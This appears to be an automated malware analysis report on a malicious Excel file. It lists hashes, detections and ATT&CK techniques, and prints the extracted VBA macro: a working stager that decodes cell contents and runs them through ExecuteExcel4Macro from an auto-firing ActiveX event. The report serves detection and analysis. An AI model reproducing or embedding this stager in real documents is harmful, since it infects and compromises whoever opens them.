Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e8d122c430ae8e18…

MALICIOUS

Office (OOXML)

39.2 KB Created: 2020-07-14 08:04:52 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 235326560f595b807aa52df22e8d5e69 SHA-1: c0266c830b5287c1a0fc2c00c696040b10092ca4 SHA-256: e8d122c430ae8e186fe266a63511405aa82465e5aaf92d8fb1934533b2eb0dc4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML file containing VBA macros. The critical heuristic 'OLE_VBA_ACTIVEX_XLM_STAGER' indicates that an ActiveX event triggers the execution of decoded Excel 4.0 macros via ExecuteExcel4Macro. The VBA script concatenates values into a string 'Z', splits it by 'f', and then executes each part using ExecuteExcel4Macro. This process is designed to download and execute a secondary payload, as suggested by the ClamAV detection name 'Xls.Malware.Mrhl-9774585-0'.

Heuristics 3

  • ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1124 bytes
SHA-256: d736de01892151652a420a739ef3dd831df2c54dfdd97e6abca389110939c82c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Visualizza, 1, 0, MSForms, Frame"
Sub vizualizza()
MsgBox "vizualizza", vbInformation: ActiveWorkbook.Close 0
End Sub
Private Sub Visualizza_Layout()
On Error Resume Next
For i = 2 To 3701: For ii = 1 To 200
fh = Cells(i, ii): If IsEmpty(fh) = 0 Then m = m & fh
Next: Z = Z & Chr(m): m = "": Next: k = Split(Z, "f")
For Each ff In k: Debug.Print ExecuteExcel4Macro(ff): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: 083f8d17ab90ab7892e59e0f7f0ed536bda534de3dd1716818296da2f84b671e
Detection
ClamAV: Xls.Malware.Mrhl-9774585-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 3516 bytes
SHA-256: 67713894f8b33ef7279bf7c8774cf16c437b5fd601034e893f1d86eb1fca1b43